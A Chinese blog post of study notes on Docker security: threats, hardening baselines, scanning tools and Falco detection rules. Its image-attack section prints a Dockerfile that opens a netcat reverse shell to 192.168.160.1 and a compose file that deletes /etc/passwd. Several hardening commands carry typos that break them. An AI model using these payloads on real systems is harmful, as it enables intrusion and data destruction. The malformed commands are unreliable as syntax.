当前位置:   article > 正文

Docker 安全问题与防护 (学习笔记)_—security-opt=null

—security-opt=null

1. Docker面临的安全问题

1.1 Docker简介

在这里插入图片描述

容器部署的新的方式是基于操作系统级别的虚拟化,而非硬件虚拟化。容器彼此是隔离的,与宿主机也是隔离的:它们有自己的文件系统,彼此之间不能看到对方的进程,分配到的计算资源都是有限制的。它们比虚拟机更容易搭建。并且由于和基础架构、宿主机文件系统是解耦的,它们可以在不同类型的云上或操作系统上转移。

正因为容器又小又快,每一个容器镜像都可以打包装载一个程序。这种一对一的“程序 - 镜像”联系带给了容器诸多便捷。

itemdescript
Docker与虚拟机的区别 1、隔离与共享:虚拟机通过添加hypervisor层,虚拟出网卡,内存,CPU等虚拟硬件,再在其上建立客户机,每个客户机都有自己的系统内核。而docker容器则是通过隔离的方式,将文件系统,进程,设备,网络等资源进行隔离,再对权限,CPU资源等进行控制,最终让容器之间互不影响,容器无法影响宿主机。容器与宿主机共享内核,文件系统,硬件等资源。 2、性能与损耗:与虚拟机相比,容器资源损耗要小得多。 同样的宿主机下,能够建立容器的数量要比虚拟机多得多。 3、安全性:但是虚拟机的安全性要比容器好一些,要从虚拟机突破到宿主机或其他虚拟机,需要先突破hypervisor层,这是极其困难的。 而docker容器与宿主机共享内核,文件系统等资源,更有可能对其他容器,宿主机产生影响。
Docker的优势 1、有了容器,静态容器镜像可以在编译/发布时期创建,而非部署时期。因此,每个应用不必再等待和整个应用栈其它部分进行整合,也不必和产品基础架构环境之间进行妥协。在编译/发布时期生成容器镜像建立了一个持续地把开发转化为产品的环境。 2、相似地,容器远比虚拟机更加透明,尤其在设备监控和管理上。这一点,在容器的进程生命周期被基础架构管理而非被容器内的进程监督器隐藏掉时,尤为显著。最终,随着每个容器内都装载了单一的程序,管理容器就等于管理或部署整个应用。
Docker的局限性 1、LXC是基于cgroup等linux kernel功能的,因此Container的guest系统只能是linux base的。 2、隔离性相比KVM之类的虚拟化方案还是有些欠缺,所有container`公用`一部分的运行库。 3、网络管理相对简单,主要是基于namespace隔离。 4、cgroup的cpu和cpuset提供的cpu功能相比KVM的等虚拟化方案相比难以度量(所以dotcloud主要是安内存收费)。 5、container随着用户进程的停止而销毁,container中的log等用户数据不便收集。 6、另外,Docker是面向应用的,其终极目标是构建PAAS平台,而现有虚拟机主要目的是提供一个灵活的计算资源池,是面向架构的,其终极目标是构建一个IAAS平台,所以它不能替代传统虚拟化解决方案。 目前在容器可管理性方面,对于方便运维,提供UI来管理监控各个containers的功能还不足,还都是第三方实现。因为容器技术本身更适于解决大规模应用场景,所以通常都是集群基础上的部署、运维,但是目前对这一系列任务的自动化处理尚无统一的或者标准的框架。如果要让Docker真正在实际环境中发挥最大的效能并且易于维护,就需要有成熟稳定的资源编排(orchestration)、资源调度(scheduling)和部署(deployment)的支持,但是这方面暂时还没有很明显的最佳解决方案,所以大多数人都在摸索和搭建自己的解决方案。

1.2 Docker安全问题

攻击点描述
Docker 本身Docker 本身是提供了新的攻击点,以前可能攻击虚拟机,Docker 出现之后增加了一个攻击对象。
共享内核因为 Docker 是与宿主机共享内核,通过攻破内核就可以进入到宿主机上的其他容器里,所以也提供了新的攻击机会。
Docker漏洞Docker 自身是一个软件,只要是软件就可能会有漏洞,所以 Docker 的漏洞也是一个新的挑战。
调度系统然后容器需要调度系统,如果只是使用单一的 Docker ,可能享受的是它的环境封装,迁移的方便性,但是在大规模使用容器之后,就要关心它的调度怎么做,那么调度系统也是一个新攻击的点。而且这种新部署方式也会对传统的安全工作带来一些新影响
Namespace,cgroupNamespace,cgroup 不安全,且并非所有资源都已隔离。这两种隔离都没有进行一个非常完整的隔离,目前它并不是像虚拟机一样完全隔离的模式。
共享宿主机文件系统同一宿主机上的容器可以通过挂载共享宿主机文件系统,如果在一台主机上,通过挂同一个目录到不同的容器里面,那么不同的容器就可以访问同一个目录,所以这个时候也是会有一些安全性的问题。只要进入其中一个容器,就可以通过这个共同挂载的目录进入到其他容器里面去。
网络隔离网络的隔离是比较弱的,因为宿主机上所有的容器是使用同一张网卡,那么比如发生 DDOS 情况,对某个容器的攻击就会导致宿主机上所有容器都会受到安全的影响。

Docker安全问题树如下:
在这里插入图片描述

  • Docker自身漏洞

Docker作为一款应用本身实现上会有代码缺陷。CVE官方记录docker历史版本共有超过20项漏洞,参见https://docs.docker.com/engine/security/non-events/。主要有代码执行,权限提升,信息泄露,绕过这几类。现在Docker已经到了17.03版本,版本更迭非常快,docker用户最好将docker升级为最新版本。

  • Docker源问题

Docker提供了docker hub可以让用户上传创建的镜像,以便其他用户下载,快速搭建环境。但同时也带来了一些安全问题。下载的镜像被恶意植入后门,传输的过程中镜像被篡改, 镜像所搭建的环境是否本身就包含漏洞等等,不一而足。主要介绍下面三种:

itemdescript
黑客上传恶意镜像如果有黑客在制作的镜像中植入木马,后门等恶意软件,那么环境从一开始就已经不安全了,后续更没有什么安全可言。
镜像使用有漏洞的软件据一些报告显示,hub上能下载的镜像里面,75%的镜像都安装了有漏洞的软件,所以下载镜像后,需要检查里面软件的版本信息,对应的版本是否存在漏洞,并及时更新打上补丁。
中间人攻击篡改镜像镜像在传输过程中可能被篡改,目前新版本的docker已经提供了相应的校验机制来预防这个问题。
  • Docker架构缺陷与安全机制

由docker本身的架构与机制可能产生的问题,这一攻击场景主要产生在黑客已经控制了宿主机上的一些容器(或者通过在公有云上建立容器的方式获得这个条件),然后对宿主机其他容器发起攻击来产生影响。

itemdescript
容器之间的局域网攻击同一主机上的容器之间可以构成局域网,因此针对局域网的ARP欺骗,嗅探,广播风暴等攻击方式便可以用上。所以在一个主机上部署多个容器需要合理的配置网络,设置iptable规则。
DDoS攻击耗尽资源cgroups安全机制就是要防止此类攻击的,不要为单一的容器分配过多的资源即可避免此类问题。
调用有漏洞的系统调用我们都知道Docker与虚拟机的一个区别就是,Docker与宿主公用一个操作系统内核,一旦宿主内核存在可以横向越权或者提权漏洞,那么尽管docker使用普通用户执行,一旦容器被入侵,攻击者还是可以利用内核漏洞逃逸到宿主,做更多事情。
共享root如果以root权限运行容器,容器内的root用户也就拥有了宿主机的root权限。
未隔离的文件系统虽然docker已经对文件系统进行隔离,但是有一些重要的系统文件暂时没有被隔离,如/sys, /proc/sys, /proc/bus等。
缺少完整的用户namespace实现目前还没有完整的用户namespace实现。某些东西是不受Docker控制的。缺少用户namespace的风险之一是,用户从主机到容器的映射仍是一对一映射。以前,容器中的用户0在主机上等于0。换句话说,如果你的容器被攻破,它不需要太多成本就能损害整台宿主。
默认放通所有不管是网络访问,还是remote api的访问,都是默认放通所有的,这也为网络流量攻击和之前大规模发生Docker remote api漏洞埋下了隐患。

2. Docker安全方案

  • 常规docker安全手段
itemdescript
Namespace Docker 的隔离是基于 Linux 的 Namespace 来做的分为六种。 重点UserNamespace。过去容器里的 root 就是 Host 的 root,如果能够攻击到容器里,就可以获取到 Host 的 root 权限。而 User Namespace 可以让容器里使用的 root,到 Host 上就不是 root 了。
cgroup 因为容器与主机是共享资源,需要对每一个容器使用的资源进行控制,如果不对容器使用的资源进行控制,当容器遇到恶意攻击时,它就会把整个主机资源占用完,然后就会影响主机上其他容器的运行,所以需要对容器使用主机上的资源进行限制。比如说 CPU,内存这些资源,容器在出现异常时就不能够使用主机上的资源,它只能使用这些已分配的资源,这样可以有效隔离它对主机上其他容器的影响。
Capability Linux 将传统超级用户的特权划分为多个 Capabilities,有接近40项的 Capabilities,可以单独启用或者关闭,因此同为 root 用户,权限却因 Capabilities 的不同而存在差异。Docker 为了确保容器的安全,仅仅支持了其中的 14项基本的 Capabilities。针对容器可以去设置这些能力是否开启。
内核强制性的访问控制(MAC) Docker 容器共享宿主机的内核,在内核的安全上存在不少问题,需要针对内核的破坏做防御。现在支持的方式有三种: SELinux (Secure Enhanced Linux):是一个Linux安全策略机制,允许管理员更加灵活的定义安全策略。通过策略规定哪些域可以访问哪些上下文、哪些进程可以访问哪些文件。 AppArmor 类似于SELinux,主要的作用是设置某个可执行程序的访问控制权限,可以限制程序 读/写某个目录/文件,打开/读/写网络端口等等。 GRSecurity 是一个对内核的安全扩展,通过智能访问控制来阻止内存破坏,预防0day漏洞。 这三种方式可以限制容器在使用 Host 主机内核或者资源时,去对一些文件或者一些能力进行一个控制,不让它去进行访问。容器目前报出来的一些安全漏洞很多是通过加强对内核的访问控制来进行一个隔离的。
Seccomp (secure computing mode),就是安全计算模式,这个模式可以设置容器在对系统进行调用时进行一些筛选,也就是所谓的白名单。它可以去指定允许容器使用哪些的调用,禁止容器使用哪些调用,这样就可以增强隔离,它其实也是访问控制的一个部分。 通过使用“–security-optseccomp=< profile>”标记来指定自定义的 seccomp 描述文件:
    $ docker run -d –security-opt seccomp:allow:clock_adjtimentpd
    
这条命令将会允许容器内使用 clock_adjtime 调用
    $docker run -d –security-opt seccomp:deny:getcwd/bin/sh
    
这条命令将会禁止容器内执行的 shell 查询当前自己所在的目录
Docker client 端与 Docker Daemon 的通信安全 Docker client 端与 Docker Daemon 的通信安全。默认的通信方式使用的 anon-networked Unix ,这种方式并不是安全的,可以通过配置 HTTPS,让 Docker Client 与 DockerDaemon 访问时,是通过 HTTPS 的方式,这样可以加强通信过程中的一个安全性。
    $ dockerd –tlsverify –tlscacert=ca.pem–tlscert=server-cert.pem –tlskey=server-key.pem -H=0.0.0.0:2376
    $ docker –tlsverify –tlscacert=ca.pem–tlscert=cert.pem –tlskey=key.pem -H=$HOST:2376 version
    
镜像扫描的功能 镜像扫描的功能,Docker Security Scanning。在下载镜像或者构建镜像的过程中,可能最初的 Baseimage 是官方提供的,但是在使用的过程中,可能基于这个镜像做了很多新的镜像,这个镜像投入到生产之前到底是否安全。Docker 现在提供了一个功能,就是可以对镜像进行安全的扫描,它可以分析这个镜像本身是不是安全的,就是所谓的可信内容,就是我们的内容首先是可信的。 针对镜像的安全还有一个就是镜像签名(Docker Content Trust),用于防止镜像在传输的过程中被篡改。给每个镜像在传输的过程中都进行签名的配置,确保这个镜像传输的过程中它是安全的。

2.1 Docker安全基线

这部分结合了Docker官方文档与七牛云布道师陈爱珍的《如何打造安全的容器云平台》整理,从内核、主机、网络、镜像、容器以及其他等6大方面总结了Docker安全基线标准。
在这里插入图片描述

维度措施
内核级别 · 及时更新内核 · User NameSpace(容器内的root权限在容器之外处于非高权限状态) · Cgroups(对资源的配额和度量) · SELiux/AppArmor/GRSEC(控制文件访问权限) · Capability(权限划分) · Seccomp(限定系统调用) · 禁止将容器的命名空间与宿主机进程命名空间共享
主机级别 · 为容器创建独立分区 · 仅运行必要的服务 · 禁止将宿主机上敏感目录映射到容器 · 对Docker守护进程、相关文件和目录进行审计 · 设置适当的默认文件描述符数 · 用户权限为root的Docker相关文件的访问权限应该为644或者更低权限 · 周期性检查每个主机的容器清单,并清理不必要的容器
网络级别 · 通过iptables设定规则实现禁止或允许容器之间网络流量 · 允许Dokcer修改iptables · 禁止将Docker绑定到其他IP/Port或者Unix Socket · 禁止在容器上映射特权端口 · 容器上只开放所需要的端口 · 禁止在容器上使用主机网络模式 · 若宿主机有多个网卡,将容器进入流量绑定到特定的主机网卡上
镜像级别 · 创建本地镜像仓库服务器 · 镜像中软件都为最新版本 · 使用可信镜像文件,并通过安全通道下载 · 重新构建镜像而非对容器和镜像打补丁 · 合理管理镜像标签,及时移除不再使用的镜像 · 使用镜像扫描 · 使用镜像签名
容器级别 · 容器最小化,操作系统镜像最小集 · 容器以单一主进程的方式运行 · 禁止privileged标记使用特权容器 · 禁止在容器上运行ssh服务 · 以只读的方式挂载容器的根目录系统 · 明确定义属于容器的数据盘符 · 通过设置on-failure限制容器尝试重启的次数 · 限制在容器中可用的进程树,以防止fork bomb
其他设置 · 定期对宿主机系统及容器进行安全审计 · 使用最少资源和最低权限运行容器 · 避免在同一宿主机上部署大量容器,维持在一个能够管理的数量 · 监控Docker容器的使用,性能以及其他各项指标 · 增加实时威胁检测和事件响应功能 · 使用中心和远程日志收集服务

2.2 Docker安全规则

Docker安全规则其实属于Docker安全基线的具体实现,不过对于Docker官方提出的方案本文会直接给出实现方式,而对于第三方或者业界使用的方案,则只是介绍基本规则,具体实现方案会在本系列下部分介绍。

itemdescript
容器最小化 仅在容器中运行必要的服务,像ssh等服务是绝对不能开启的。使用以下方式来管理你的容器:
    docker exec -it mycontainer bash
    
Docker remote api访问控制 Docker的远程调用API接口存在未授权访问漏洞,至少应限制外网访问。如果可以,建议还是使用socket方式访问。 建议监听内网ip或者localhost,docker daemon启动方式:
    docker -d -H uninx:///var/run/docker.sock -H tcp://10.10.10.10:2375
    
#或者在docker默认配置文件指定
    other_args=" -H  unix:///var/run/docker.sock -H tcp://10.10.10.10:2375"
    
然后在宿主iptables上做访问控制
    *filter:
    HOST_ALLOW1 - [0:0]
    -A HOST_ALLOW1 -s 10.10.10.1/32 -j ACCEPT
    -A HOST_ALLOW1 -j DROP
    -A INPUT -p tcp -m tcp -d 10.10.10.10 --port 2375 -j HOST_ALLOW1
    
限制流量流向 可以使用以下iptables过滤器[7]限制Docker容器的源IP地址范围与外界通讯。
    iptables -A FORWARD -s  -j REJECT --reject-with icmp-admin-prohibited
    Iptables -A FORWARD -i docker0 -o eth0 -j DROP-A FORWARD -i docker0 -o eth0 -m state –state ESTABLISHED -j ACCEPT
    
我们处理过大量因为Docker容器端口外放引起的漏洞,除了操作系统账户权限控制上的问题,更在于对Docker Daemon的进程管理上存在隐患。我们都知道,目前常用的Docker版本都支持Docker Daemon管理宿主iptables的,而且一旦启动进程加上-p host_port:guest_port的端口映射,Docker Daemon会直接增加对应的FORWARD Chain并且-j ACCEPT,而默认的DROP规则是在INPUT链做的,对docker没法限制,这就留下了很严重的安全隐患了。因此建议: 1. 不在有外网ip的机器上使用Docker服务 2. 使用k8s等docker编排系统管理Docker容器 3. 宿主上Docker daemon启动命令加一个--iptables=false,然后把常用iptables写进文件里,再用iptables-restore去刷。
使用普通用户启动Docker服务 截至Docker 1.10用户命名空间由docker守护程序直接支持。此功能允许容器中的root用户映射到容器外部的非uid-0用户,这可以帮助减轻容器中断的风险。此功能可用,但默认情况下不启用。 1.使用用户映射 要解决特定容器中的用户0在宿主系统上等于root的问题,LXC允许您重新映射用户和组ID。配置文件条目如下所示:
    lxc.id_map = u 0 100000 65536
    lxc.id_map = g 0 100000 65536
    
这将容器中的前65536个用户和组ID映射到主机上的100000-165536。主机上的相关文件是/etc/subuid和/etc/subgid。此映射技术命名为从属ID,因此称为“子”前缀。 对于Docker,这意味着将其作为-lxc-conf参数添加到docker run:
    docker run -lxc-conf ="lxc.id_map = u 0 100000 65536" -lxc-conf ="lxc.id_map = g 0 100000 65536"
    
2.启动容器时不带--privileged参数
    docker run -it debian8:standard /bin/bash
    
文件系统限制 挂载的容器根目录绝对只读,而且不同容器对应的文件目录权限分离,最好是每个容器在宿主上有自己单独分区。
    su con1
    docker run -v dev:/home/mc_server/con1 -it debian8:standard /bin/bash
    su con2
    docker run -v dev:/home/mc_server/con2 -it debian8:standard /bin/bash
    
镜像安全 如下图所示,在镜像仓库客户端使用证书认证,对下载的镜像进行检查 ,通过与CVE数据库同步扫描镜像,一旦发现漏洞则通知用户处理,或者直接阻止镜像继续构建。 如果使用的是公司自己的镜像源,可以跳过此步;否则至少需要验证baseimage的md5等特征值,确认一致后再基于baseimage进一步构建。 一般情况下,我们要确保只从受信任的库中获取镜像,并且不要使用--insecure-registry=[]参数。具体实现我们在漏洞扫描部分一块介绍。
Docker client端与 Docker Daemon的通信安全 按照Docker官方的说法,为了放置链路劫持、会话劫持等问题导致docker通信时被中间人攻击,c/s两端应该通过加密方式通讯。
    docker –tlsverify –tlscacert=ca.pem –tlscert=server-cert.pem –tlskey=server-key.pem  -H=0.0.0.0:2376
    
资源限制 限制容器资源使用,最好支持动态扩容,这样既可以尽可能降低安全风险,也不影响业务。下面是使用样例,限制cpu使用第2核、分配2048
    docker run -tid –name ec2 –cpuset-cpus 3 –cpu-shares 2048 -memory 2048m –rm –blkio-weight 100 --pids--limit 512
    
更多限制可以参考Docker官方说明:
    --cpu-period                    Limit CPU CFS (Completely Fair Scheduler) period
    --cpu-quota                     Limit CPU CFS (Completely Fair Scheduler) quota
    --device-read-bps=[]            Limit read rate (bytes per second) from a device
    --device-read-iops=[]           Limit read rate (IO per second) from a device
    --device-write-bps=[]           Limit write rate (bytes per second) to a device
    --device-write-iops=[]          Limit write rate (IO per second) to a device
    --kernel-memory                 Kernel memory limit
    --label-file=[]                 Read in a line delimited file of labels
    -m, --memory                    Memory limit
    --memory-reservation            Memory soft limit
    --memory-swap                   Swap limit equal to memory plus swap: '-1' to enable unlimited swap
    --pids-limit                    Tune container pids limit (set -1 for unlimited)
    --ulimit=[]                     Ulimit options
    
宿主及时升级内核漏洞 使用Docker容器对外提供服务时,还要考虑宿主故障或者需要升级内核的问题。这时为了不影响在线业务,Docker容器应该支持热迁移,这个可以纳入容器调度系统的功能设计中。此外,还应考虑后续的内核升级方案规划、执行以及回迁方案等。
避免docker容器中信息泄露 就像之前github上大量泄露个人或企业各种账号密码的问题,我们一般使用dockerfile或者docker-compose文件创建容器,如果这些文件中存在账号密码等认证信息,一旦docker容器对外开放,则这些宿主机上的敏感信息也会随之泄露。因此可以通过以下方式检查容器创建模板的内容:
    # check created users
    grep authorized_keys $dockerfile
    # check OS users
    grep "etc/group" $dockerfile
    # Check sudo users
    grep "etc/sudoers.d" $dockerfile
    # Check ssh key pair
    grep ".ssh/.*id_rsa" $dockerfile
    # Add your checks in below
    
安装安全加固 如果可能,使用安全的Linux内核、内核补丁。如SELinux,AppArmor,GRSEC等,都是Docker官方推荐安装的安全加固组件。 如果先前已经安装并配置过SELinux,那么可以在容器使用setenforce 1来启用它。Docker守护进程的SELinux功能默认是禁用的,需要使用--selinux-enabled来启用。容器的标签限制可使用新增的—-security-opt加载SELinux或者AppArmor的策略进行配置,该功能在Docker版本1.3[9]引入。例如:
    docker run --security-opt=secdriver:name:value -i -t centos bash
    
SELinux的相关选项:
    --security-opt ="label:user:USER"(设置标签用户)
    --security-opt ="label:role:ROLE"(设置标签角色)
    --security-opt ="label:type:TYPE"(设置标签类型)
    --security-opt ="label:level:LEVEL"(设置标签级别)
    --security-opt ="label:disable"(完全禁用标签限制)
    
AppArmor的选项:
    --secutity-opt ="apparmor:PROFILE"(设置AppArmor配置文件)
    
GRSEC的选项:
    gradm -F -L /etc/grsec/learning.logs
    
GRSEC的更多说明请参考:https://en.wikibooks.org/wiki/Grsecurity
限制系统命令调用 1.系统调用层面: Linux系统调用列表见:http://www.ibm.com/developerworks/cn/linux/kernel/syscall/part1/appendix.html Seccomp(secure computing mode),就是安全计算模式,这个模式可以设置容器在对系统进行调用时进行一些筛选,也就是所谓的白名单。它可以去指定允许容器使用哪些的调用,禁止容器使用哪些调用,这样就可以增强隔离,它其实也是访问控制的一个部分。 2.函数调用层面 通过使用“–security-optseccomp=”标记来指定自定义的 seccomp 描述文件:
    $ docker run -d –security-opt seccomp:allow:clock_adjtime ntpd
    
这条命令将会允许容器内使用 clock_adjtime 调用
    $docker run -d –security-opt seccomp:deny:getcwd /bin/sh
    
这条命令将会禁止容器内执行的 shell 查询当前自己所在的目录
    --security-opt=[]
            Security Options
                "label=user:USER"   : Set the label user for the container
                "label=role:ROLE"   : Set the label role for the container
                "label=type:TYPE"   : Set the label type for the container
                "label=level:LEVEL" : Set the label level for the container
                "label=disable"     : Turn off label confinement for the container
                "no-new-privileges" : Disable container processes from gaining additional privileges
                "seccomp=unconfined" : Turn off seccomp confinement for the container
                "seccomp=profile.json :  White listed syscalls seccomp Json file to be used as a seccomp filter
                "apparmor=unconfined" : Turn off apparmor confinement for the container
                "apparmor=your-profile" : Set the apparmor confinement profile for the container
    
在没有缺省secconf配置文件的情况下运行,可以通过unconfined运行配置不在默认seccomp配置文件的容器。
    $ docker run --rm -it --security-opt seccomp =ulimit-debian:jessie \ unshare --map-root-user --user sh -c whoami
    
suid和guid限制 SUID和GUID程序在受攻击导致任意代码执行(如缓冲区溢出)时将非常危险,因为它们将运行在进程文件所有者或组的上下文中。如果可能的话,使用特定的命令行参数减少赋予容器的能力,阻止SUID和SGID生效。
    docker run -it --rm --cap-drop SETUID --cap-drop SETGID 
    
还有种做法,可以考虑在挂载文件系统时使用nosuid属性来移除掉SUID能力。最后一种做法是,删除系统中不需要的SUID和GUID程序。这类程序可在Linux系统中运行以下命令而找到:
    find / -perm -4000 -exec ls -l {} \; 2>/dev/null 
    find / -perm -2000 -exec ls -l {} \; 2>/dev/null
    
然后,可以使用类似于下面的命令将移除SUID和GUID文件权限:
    sudo chmod u-s filename sudo chmod -R g-s directory
    
能力限制 尽可能降低Linux能力。 Docker默认的能力包括:chown、dac_override、fowner、kill、setgid、setuid、setpcap、net_bind_service、net_raw、sys_chroot、mknod、setfcap、和audit_write。在命令行启动容器时,可以通过--cap-add=[]或--cap-drop=[]进行控制。例如:
    docker run --cap-drop setuid --cap-drop setgid -ti  /bin/sh
    
此功能在Docker 1.2版本引入。
多租户环境 由于Docker容器内核的共享性质,无法在多租户环境中安全地实现责任分离。建议将容器运行在没有其它目的,且不用于敏感操作的宿主上。可以考虑将所有服务迁移到Docker控制的容器城。可能的话,设置守护进程使用--icc=false,并根据需要在docker run时指定-link,或通过—-export=port暴露容器的一个端口,而不需要在宿主上发布。将相互信任的容器的组映射到不同机器上。
完全虚拟化 使用一个完全虚拟化解决方案来容纳Docker,如KVM。如果容器内的内核漏洞被发现,这将防止其从容器扩大到宿主上。类似Docker-in-Docker工具,Docker镜像可以嵌套来提供该KVM虚拟层。
日志分析 收集并归档与Docker相关的安全日志来达到审核和监控的目的,一般建议使用rsyslog或stdout+ELK的方式进行日志收集、存储与分析,因为Docker本身要求轻量,所以不建议像虚拟机或者物理机上安装安全agent,这时实时威胁检测和事件响应功能就要依赖实时日志传输和分析了。可以在宿主上使用以下命令在容器外部访问日志文件:
    docker run -v /dev/log:/dev/log  /bin/sh
    
使用Docker内置命令:
    docker logs ... (-f to follow log output)
    
日志文件也可以导出成一个压缩包实现持久存储:
    docker export
    
漏洞扫描 前面的镜像安全,跟这里的漏洞扫描关联很密切,可以使用相同的工具去实现安全扫描,不过漏洞扫描更倾向于外部检测,镜像安全则需要镜像仓库和CI系统联动,始终不是一回事,所以分来介绍。 下面介绍5款用于Docker漏洞扫描的工具,它们各有千秋,从镜像到容器,从宿主到容器,从dockerfile到docker-compose,从安全基线检查与漏洞发现,从容器安全到性能优化,均有覆盖。 docker-slim: 参考:https://github.com/docker-slim/docker-slim 创建小容器需要大量的巫术魔法,它可以是相当痛苦的。你不应该丢掉你的工具和你的工作流程。使用Docker应该很容易。docker-slim是一个容器的魔法减肥药。它将使用静态和动态分析为你的应用程序创建一个紧凑的容器。 Docker Bench for Security: 参考:https://github.com/docker/docker-bench-security Docker Bench for Security是一个脚本,用于检查在生产环境中部署Docker容器的几十个常见的最佳实践,测试都是自动化的,受CIS Docker 1.13基准的启发而来。 Clair: 参考:https://github.com/coreos/clair Clair是一个用于静态分析应用程序容器(目前包括appc和docker)中的漏洞的开源项目。基于k8s,将镜像上传到clair所在机器扫描即可。从已知的一组源连续导入漏洞数据,并与容器映像的索引内容相关联,以便产生威胁容器的漏洞的列表。当漏洞数据在上游发生变化时,可以传递通知,并且API会查询以提供漏洞的先前状态和新状态以及受这两者影响的图像。 Container-compliance: 参考:https://github.com/OpenSCAP/container-compliance Container-compliance是基于OpenSCAP的用于评估镜像、容器合规性的资源和工具。 Lynis: 参考:https://cisofy.com/lynis/plugins/docker-containers/ lynis本身是一套Linux/Unix系统安全审计的shell脚本,执行时系统消耗很低。Lynis-docker是Lynis的一个插件,这个插件收集关于Docker配置和容器的信息。
端口扫描 很多人认为,容器被入侵带来的风险,远比不上物理机和传统虚拟机,于是他们直接把docker容器对外网开放,而且不配置任何访问控制。另外,也会存在宿主iptables错误调导致容器直接对外开放的问题存在,于是,这时针对容器进行快速批量的端口快速扫描显得很有必要。目前Nmap/Masscan这两款工具用的比较多。 Nmap支持tcp/udp端口扫描以及自定义插件扫描任意漏洞,是最著名、应用最广的端口扫描器。masscan的扫描结果类似于nmap,在内部,它更像scanrand, unicornscan, and ZMap,采用了异步传输的方式。它和这些扫描器最主要的区别是,它比这些扫描器更快。参考:https://github.com/robertdavidg

上面介绍了很多配置、工具,如果要应用到生产环境,还是需要大量调研的,所以本文的下半部分会结合将它们联动起来,深入到应用部署、功能使用以及如何与企业或组织的Docker容器编排系统、仓库集成等具体实现,形成一套企业级Docker安全解决方案,敬请期待。

参考资料:
Docker官方Docker安全文档
关于Docker的几点安全解析
陈爱珍 如何打造安全的容器云平台
docker安全部署指南

2.3 Docker镜像安全扫描与审计

介绍Docker镜像的漏洞扫描与审计。

Docker镜像攻击的具体实现方式:

itemdescript
Docker镜像攻击 针对Docker容器的攻击,有利用Docker Daemon api的,也有攻击Kubernetes、Mesos等容器管理平台的,这方面的攻击利用门槛较低、获取成果又非常丰富,反弹shell、getroot均不在话下。不过,今天讨论的是针对Docker镜像的攻击,常见的攻击方式主要有dockerfiles攻击、docker compose攻击两种,而后面讲到的docker镜像自动化攻击则主要利用Dockerscan这款工具。
dockerfiles攻击 道理很简单,在dockerfiles中写入恶意命令,如反弹shell或者添加恶意用户等,或者引入存在漏洞的应用,如使用存在远程命令执行漏洞的Strusts2。下面是一个现成的dockerfiles。
    FROM alpine:latest
    RUN apk add --update --no-cache netcat-openbsd docker
    RUN mkdir /files
    COPY * /files/
    RUN mknod /tmp/back p
    RUN /bin/sh 0< /tmp/back | nc 192.168.160.1 12345 1>/tmp/back
    
一旦客户端build完镜像,启动容器,则会向控制端反弹shell
    nc -lv 192.168.160.1 12345
    sh# id
    root
    
docker compose攻击 类似的,编写好存在恶意命令或者漏洞组件的docker compose文件,一旦客户端build完镜像,启动容器,则会执行攻击命令或暴露漏洞组件。
    test:
    image: ubuntu:14.04
    volumes:
    - /etc:/test
    command: rm /test/passwd
    
docker镜像自动化攻击 docker镜像自动化渗透工具Dockerscan可扫描网段或者目标识别是否为docker registry,也支持对docker registry操作镜像,更支持修改镜像,将木马植入正常镜像中,当用户运行该镜像时,攻击者就会接收到反弹出的shell,从而达到控制服务器的目的。
    pip3 install dockerscan
    dockerscan -h
    Usage: dockerscan [OPTIONS] COMMAND [ARGS]...
    Options:
    -v           Verbose output
    -d           enable debug
    -q, --quiet  Minimal output
    --version    Show the version and exit.
    -h, --help   Show this message and exit.
    Commands:
    image     Docker images commands
    registry  Docker registry actions
    scan      Search for Open Docker Registries
    
  • Docker镜像安全扫描

通过本地docker images命令或者操作docker registry就能恶意修改镜像,植入攻击木马。但这仅仅只是产生Docker镜像安全扫描需求的原因之一。另一种情况,全球最大的dockerhub上面有官方的,也有用户上传的任意镜像,但是目前dockerhub上面只有office repo的才会自动调用docker security scan,其他的即便是恶意image也不会有报警或者拦截的,个人镜像则需要付费扫描。因此,当我们使用外部dockerhub的镜像时同样需要进行安全扫描。如果没有镜像安全工具,非office的repo docker pull时一定要仔细阅读dockerfile或者下载dockerfile本地build。下面是Docker官方镜像安全扫描的流程图。

目前的镜像扫描工具有:Clair、Anchore、OpenSCAP、Harbor。

2.4 Docker入侵检测

介绍如何使用Sysdig Falco监控Docker容器安全。

入侵检测和漏洞扫描可谓是主动发现安全问题的“内功外功”,在容器技术应用越来越广泛的今天,也需要被给予同样的重视。本文将探讨Docker入侵检测工具Sysdig Falco的基础知识以及如何检测容器的异常行为等问题。 Sysdig Falco是一种旨在检测异常活动开源的系统行为监控程序。作为Linux主机入侵检测系统,对待Docker依旧特别有用,因为它支持容器上下文,如container.id,container.image或其规则的命名空间。

  • 原理

虽说Sysdig Falco是一种审计工具,但却与Seccomp或AppArmor等内核态的审计工具全然不同。 Sysdig Falco在用户空间中运行,使用内核模块拦截系统调用,而其他类似工具在内核级别运行系统调用过滤或监控。用户空间实现的一个好处是能够与Docker编排工具等外部系统集成。

  • 特点

Sysdig Falco具备以下特点:

监控行为或活动
探测通过规则集定义好的异常行为
使用sysdig丰富和强大的过滤表达式

对容器的全面支持
使用sysdig的容器支持

丰富的通知方式
输出报警到文件、标准输出以及syslog

开源
任何人都可以贡献规则或者代码
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 架构

如下图所示,当发生系统调用时,内核hook会调用sysdig库,产生一个事件,经过Falco规则集的过滤表达式之后产生异常事件,触发报警。
在这里插入图片描述

  • demo

sysdig falco定义的规则非常容易理解,下面可以看几个demo:

容器中执行了shell:

container.id != host and proc.name = bash
  • 1

系统二进制文件被重写:

fd.directory in (/bin,/sbin,/usr/bin,/user/sbin) and write
  • 1

容器namespace发生改变:

evt.type = setns and not proc.name in (docker,sysdig)
/dev下有非设备文件写入
(evt.type = create or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
  • 1
  • 2
  • 3

进程试图访问相机:

evt.type = open and fd.name = /dev/video0 and not proc.name in (skype,webex)
  • 1

本文将从以下4个安全威胁场景展示如何使用Sysdig Falco进行异常行为监控:

运行交互式shell的容器
运行未经授权的进程
写入非用户数据目录
容器异常挂载
  • 1
  • 2
  • 3
  • 4

读者将同时扮演攻击者和防御者(系统管理员)角色,验证Sysdig Falco是否已检测到入侵企图。

2.5 Docker容器安全隔离与资源控制

介绍如何将namespace和cgroup技术用于Docker容器安全隔离与资源控制。

